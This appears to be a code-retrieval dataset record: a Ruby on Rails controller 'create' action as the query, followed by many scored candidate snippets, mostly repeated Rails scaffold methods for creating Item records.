[ { "docid": "9c6b097f34c124eef801659e2fcd513c", "score": "0.0", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n #if @item.save\n #\n # format.html { redirect_to @item, notice: 'Item was successfully created.' }\n # format.json { render json: @item, status: :created, location: @item }\n #\n #else\n # format.html { render action: \"new\" }\n # format.json { render json: @item.errors, status: :unprocessable_entity }\n #end\n\n ActiveRecord::Base.transaction do\n begin\n @item.save\n @item_designs = ItemsDesign.new(item_id:@item.id,name:@item.name)\n @item_designs.save\n #UsersItemsDesign.create(user_id:user.id,items_design_id:@items_design.id,hide:'no',location_id:@items_location.location_id)\n format.html { redirect_to @item, notice: 'Item was successfully created. and also a general item_design' }\n\n rescue ActiveRecord::StatementInvalid\n format.html { render action: \"new\" }\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "1a87b6b1a8f3fc007c549688390eae3f", "score": "0.75517005", "text": "def create_item\n item = @list.items.create(:title => params[:title], :details => params[:details], :deadline => params[:deadline], :tags => params[:tags])\n render json: { item: item }\n end", "title": "" }, { "docid": "90733efeb5f56406313ddb98a0693260", "score": "0.7419058", "text": "def create\n item = Item.create! params\n \n render :json => item\n end", "title": "" }, { "docid": "179e2c4ed0ee7f520c6a89d0a832385d", "score": "0.73382217", "text": "def post_body\n {\n \"item\": {\n \"name\": name\n }\n }.to_json\n end", "title": "" }, { "docid": "630a1f9fabeb8855a74179379ffc8a1a", "score": "0.7323554", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item, status: :created\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "591990f76a72176ac416f83bb175a856", "score": "0.73136574", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render json: @item, status: :created, location: @item\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0434fba9cabe08ffa768688c4efefc91", "score": "0.7290704", "text": "def create\n item = Item.new(item_params)\n if item.save\n render json: {item: item}, status: 200, location: item\n else\n render json: item.errors, status: 422\n end \n end", "title": "" }, { "docid": "44f43983332e9db08e21dce98bdddfd1", "score": "0.72630763", "text": "def create\n @api_item = Item.new(api_item_params)\n\n if @api_item.save\n @api_items = Item.order(:name)\n render :index, status: :created\n else\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3d7eddd9f8de1f27fa901d9968ed6abd", "score": "0.72431743", "text": "def create_item(params = nil, headers = nil)\n post(\"/api/v1/items\", params, headers)\n end", "title": "" }, { "docid": "a752f3b1e7ea223f8edd6b6e2c401e99", "score": "0.7237677", "text": "def create\n item = Item.new(item_params.to_hash)\n if item.create\n render status: :ok, json: item.data\n else\n render status: :unprocessable_entity, json: { error: item.errors }\n end\n end", "title": "" }, { "docid": "605e54f44c1fb2bc615f99aebef26867", "score": "0.7222138", "text": "def create_item(params = nil, headers = nil)\n post(\"/api/v2/items\", params, headers)\n end", "title": "" }, { "docid": "8dbd2dd122a6fc4732b83926f5b97c34", "score": "0.71710145", "text": "def create_item(options={})\n self.class.post(\"/items.json?apikey=#{apikey}\", :query => { :item => options })\n end", "title": "" }, { "docid": "496a0af9bcc64678c3bf2a22d89f62cc", "score": "0.707238", "text": "def create\n @new_item = Item.new(items_params)\n @new_item.list_id = params[:list_id]\n if @new_item.save!\n render :json => @new_item\n else\n render :json => {\n :response => \"Unable to create a new item\",\n :data => @new_item\n }\n end\n end", "title": "" }, { "docid": "01fcccfe224be26c06f55fc17c16cc7a", "score": "0.703613", "text": "def create\n @item = Item.create!(params.permit(:name))\n render json: @item, status: :created\n end", "title": "" }, { "docid": "ebb942692b2b29b333f8e32d39c07c4c", "score": "0.7021365", "text": "def post(collection, body)\n send_request :post, [collection], { body: body, response: API::ItemResponse }\n end", "title": "" }, { "docid": "78c63519229095cc58942db7ce2ee906", "score": "0.7017279", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e3834e5747044232d41231d7f207182", "score": "0.6959419", "text": "def create \n item = Item.new(item_params)\n if item.save\n render json: item \n else \n render json: { errors: item.errors}, status: :unprocessable_entity \n # if it fails to save, we will render an error message. \n end \n end", "title": "" }, { "docid": "dadef263a4b543cebd3295ce4fd27a8a", "score": "0.6958029", "text": "def create\n @item = Item.create(items_params)\n redirect_to root_url\n end", "title": "" }, { "docid": "7dab403a62634e7fa7286daad1b94434", "score": "0.6948601", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n # format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.html { redirect_to items_url }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8bdb7132ed6b110d2f7eb4e15f3a85c", "score": "0.6947034", "text": "def request_body items\n { type: type, action: action, domain: domain, objects: items }.to_json\n end", "title": "" }, { "docid": "0d2064f6da7da5abedee14226ded9d29", "score": "0.6946101", "text": "def create\n\t\t@item = Item.create(params[:item])\n\n\t\trespond_to do |format|\n\t\t\tif @item.save\n\t\t\t\tformat.html { redirect_to items_url, notice: 'Item was successfully created.' }\n\t\t\t\tformat.json { render json: items, status: :created, location: items_url }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @item.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "974fdd0401b95a8c8feef36f83f18053", "score": "0.6945322", "text": "def create\n @item = Item.new(item_params)\n unless params[:tags].blank?\n @item.tags = Tag.find params[:tags]\n end\n lastId = Item.maximum('id')\n @item.id = lastId === nil ? 1 : lastId + 1\n respond_to do |format|\n if @item.save\n format.json { render :show, status: :created, location: @item }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4de4dbdf922636245d8266359d6a9361", "score": "0.69168025", "text": "def create\n @item = Item.new(params[:item])\n \n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4de4dbdf922636245d8266359d6a9361", "score": "0.69168025", "text": "def create\n @item = Item.new(params[:item])\n \n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "130bb382cd5317a54b8725d622542899", "score": "0.6916477", "text": "def create\n puts \"********************* \" + item_params.to_s\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5644e9d63d20f07c704e420914e2811c", "score": "0.69108766", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { redirect_to new_item_path }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e12afe6280d7d9eaa131b9e8741a8e8", "score": "0.6907637", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0ae0f2c28db8743ed2c7d87fa59fce76", "score": "0.6871792", "text": "def create\n @item = Item.new(params[:item])\n @item.save\n respond_with @item\n end", "title": "" }, { "docid": "b1cf131e37a89509ff8ebf368c9d5ebb", "score": "0.6870141", "text": "def create\n @item = @event.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to event_items_path(@event), notice: I18n.t('item.created.successfully') }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d2a9056c13ab598b578e8d4830e947b", "score": "0.68542266", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to root_path, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da3677c55c712c002d5bbb6f30e9462a", "score": "0.6853001", "text": "def create\n @api_item = Item.new(api_item_params)\n\n if @api_item.save\n render :show, status: :created\n render json: @api_item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab41022904d78547071832f026715dec", "score": "0.6840092", "text": "def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9870e5cf52d1bbc1cbec630bf3588d9a", "score": "0.683964", "text": "def create\n @item = Item.new(params[:item])\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { head :ok }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c514ffa3d3b540bab19fd50f2a3f610", "score": "0.6827241", "text": "def create\n @item = Item.new(params[:item])\n @item.save\n respond_with(@item)\n end", "title": "" }, { "docid": "c7ec4e535afe5a71677982de8699db7e", "score": "0.6820294", "text": "def create\n p_attr = params[:item]\n p_attr[:payload] = params[:item][:payload].first if params[:item][:payload].class == Array\n\n @item = @package.items.new(p_attr)\n\n if @item.save\n respond_to do |format|\n format.html {\n render :json => [@item.to_jq_upload(@package.id)].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@item.to_jq_upload(@package.id)].to_json\n }\n end\n else\n if @item.payload_integrity_error\n render :json => [{:error => @item.payload_integrity_error}], :status => 415\n else\n render :json => [{:error => @item.errors}], :status => 422\n end\n end\n end", "title": "" }, { "docid": "e90a9e60df3269ea9ad9836553768d79", "score": "0.68106616", "text": "def create\n return false if !userCan :items\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url }\n format.json { render json: @item, status: :created, location: @item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b266f87b06b5bd5d4d0eb807dabb61b2", "score": "0.6806821", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_url, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f17b61497a19e6a32b72add99a898f0", "score": "0.67710996", "text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render :show, status: :created#, location: @item\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4f9dfcf2838c6ac8277d7db94a2e6d33", "score": "0.67626786", "text": "def create\n Item.create(item_params)\n\n redirect_to items_path, notice: \"The item successfully added.\"\n end", "title": "" }, { "docid": "7835b8f44ae689b96d3a2a868649b8e1", "score": "0.6756852", "text": "def create\n @item = Item.new(item_params, @owner)\n\n respond_to do |format|\n if @item.save\n format.json { render json: { result: 'created!', uuid: @item.uuid } }\n else\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.6755341", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.67544657", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38d15f5a47b4c77d49c8148d1fcccc36", "score": "0.6754249", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf4105c09eb97ee6e44bd770067b7772", "score": "0.67514557", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf4105c09eb97ee6e44bd770067b7772", "score": "0.67514557", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: \"Item was successfully created.\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6a2170fca82ff4febb8851faae0fc75b", "score": "0.6750669", "text": "def create\n item = Item.new()\n\n item.collection = Collection.find(create_params[:collection])\n set_item_attributes(item, create_params)\n\n respond_with item, location: '', root: :item\n end", "title": "" }, { "docid": "2df325f834df9c0e640aeff507d423e7", "score": "0.6743324", "text": "def create\n @item = current_user.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to current_user, notice: 'Item was successfully created.' }\n format.json {}\n else\n format.html { redirect_to current_user, notice: 'Item was not successfully created.' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "79a09b417e344ebf5dfe221bf63dbbe6", "score": "0.67415565", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save!\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9395fda7fdcf8c7fb4e208d716d557db", "score": "0.6728262", "text": "def create\n @item = Item.new(item_params)\n @item.user_id = params[:user_id]\n\n if @item.save\n render json: @item, status: :created\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "935a77894bcafa627f992f3a7096ca1a", "score": "0.67152524", "text": "def create\n @item = Item.new(item_params)\n if @item.save\n redirect_to \"/admin/manage-items\"\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "e0a3c6d77a08e2f207699466b59df7e5", "score": "0.671144", "text": "def create\n \t@item = Item.new(item_params)\n \t@item[:user_id] = current_user.id # add the user_id in the @item variable\n\n #save the data \n if @item.save\n render json: {:item => @item, :user => @item.user.name}\n end\n end", "title": "" }, { "docid": "0312378acbacefb7aa0b627f3c3a88df", "score": "0.671064", "text": "def create\n @item = Item.new(params[:item])\n \n flash[:notice] = 'Item was successfully created.' if @item.save\n\n respond_with @item\n end", "title": "" }, { "docid": "719fa10abbc60d7393e821b0b2a73dbe", "score": "0.6692744", "text": "def create(params)\n @client.make_request(:post, 'customs_items', MODEL_CLASS, params)\n end", "title": "" }, { "docid": "7b3af9893e21c4b4150ebfec3304a35b", "score": "0.6685049", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { flash[:notice] = 'Item was saved.' and redirect_to action: \"index\" }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad7cd40ae0a98cac6cfe27803f43d49e", "score": "0.6678884", "text": "def create\n @item = Item.create(item_params)\n end", "title": "" }, { "docid": "2c17d9e74936decc3ffc66ae66cca8a0", "score": "0.66711766", "text": "def create\n @item = Item.new(item_params)\n\n respond_to do |format|\n if @item.save\n flash[:success] = 'Item was successfully created.'\n format.html { redirect_to @item }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": 